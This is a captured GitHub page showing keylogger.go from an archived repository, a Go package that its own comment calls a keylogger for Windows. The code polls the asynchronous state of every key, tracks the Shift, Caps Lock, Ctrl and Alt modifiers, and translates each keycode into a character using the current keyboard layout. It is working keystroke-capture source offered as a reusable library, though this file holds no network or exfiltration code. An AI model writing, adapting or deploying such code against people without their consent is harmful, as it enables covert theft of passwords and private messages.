This repository was archived by the owner on Apr 12, 2021. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 17
/
Copy pathkeylogger.go
116 lines (92 loc) · 2.82 KB
/
keylogger.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
// Package keylogger is a keylogger for windows
package keylogger
import (
"syscall"
"unicode/utf8"
"unsafe"
"github.com/TheTitanrain/w32"
)
var (
moduser32 = syscall.NewLazyDLL("user32.dll")
procGetKeyboardLayout = moduser32.NewProc("GetKeyboardLayout")
procGetKeyboardState = moduser32.NewProc("GetKeyboardState")
procToUnicodeEx = moduser32.NewProc("ToUnicodeEx")
procGetKeyboardLayoutList = moduser32.NewProc("GetKeyboardLayoutList")
procMapVirtualKeyEx = moduser32.NewProc("MapVirtualKeyExW")
procGetKeyState = moduser32.NewProc("GetKeyState")
)
// NewKeylogger creates a new keylogger depending on
// the platform we are running on (currently only Windows
// is supported)
func NewKeylogger() Keylogger {
kl := Keylogger{}
return kl
}
// Keylogger represents the keylogger
type Keylogger struct {
lastKey int
}
// Key is a single key entered by the user
type Key struct {
Empty bool
Rune rune
Keycode int
}
// GetKey gets the current entered key by the user, if there is any
func (kl *Keylogger) GetKey() Key {
activeKey := 0
var keyState uint16
for i := 0; i < 256; i++ {
keyState = w32.GetAsyncKeyState(i)
// Check if the most significant bit is set (key is down)
// And check if the key is not a non-char key (except for space, 0x20)
if keyState&(1<<15) != 0 && !(i < 0x2F && i != 0x20) && (i < 160 || i > 165) && (i < 91 || i > 93) {
activeKey = i
break
}
}
if activeKey != 0 {
if activeKey != kl.lastKey {
kl.lastKey = activeKey
return kl.ParseKeycode(activeKey, keyState)
}
} else {
kl.lastKey = 0
}
return Key{Empty: true}
}
// ParseKeycode returns the correct Key struct for a key taking in account the current keyboard settings
// That struct contains the Rune for the key
func (kl Keylogger) ParseKeycode(keyCode int, keyState uint16) Key {
key := Key{Empty: false, Keycode: keyCode}
// Only one rune has to fit in
outBuf := make([]uint16, 1)
// Buffer to store the keyboard state in
kbState := make([]uint8, 256)
// Get keyboard layout for this process (0)
kbLayout, _, _ := procGetKeyboardLayout.Call(uintptr(0))
// Put all key modifier keys inside the kbState list
if w32.GetAsyncKeyState(w32.VK_SHIFT)&(1<<15) != 0 {
kbState[w32.VK_SHIFT] = 0xFF
}
capitalState, _, _ := procGetKeyState.Call(uintptr(w32.VK_CAPITAL))
if capitalState != 0 {
kbState[w32.VK_CAPITAL] = 0xFF
}
if w32.GetAsyncKeyState(w32.VK_CONTROL)&(1<<15) != 0 {
kbState[w32.VK_CONTROL] = 0xFF
}
if w32.GetAsyncKeyState(w32.VK_MENU)&(1<<15) != 0 {
kbState[w32.VK_MENU] = 0xFF
}
_, _, _ = procToUnicodeEx.Call(
uintptr(keyCode),
uintptr(0),
uintptr(unsafe.Pointer(&kbState[0])),
uintptr(unsafe.Pointer(&outBuf[0])),
uintptr(1),
uintptr(1),
uintptr(kbLayout))
key.Rune, _ = utf8.DecodeRuneInString(syscall.UTF16ToString(outBuf))
return key
}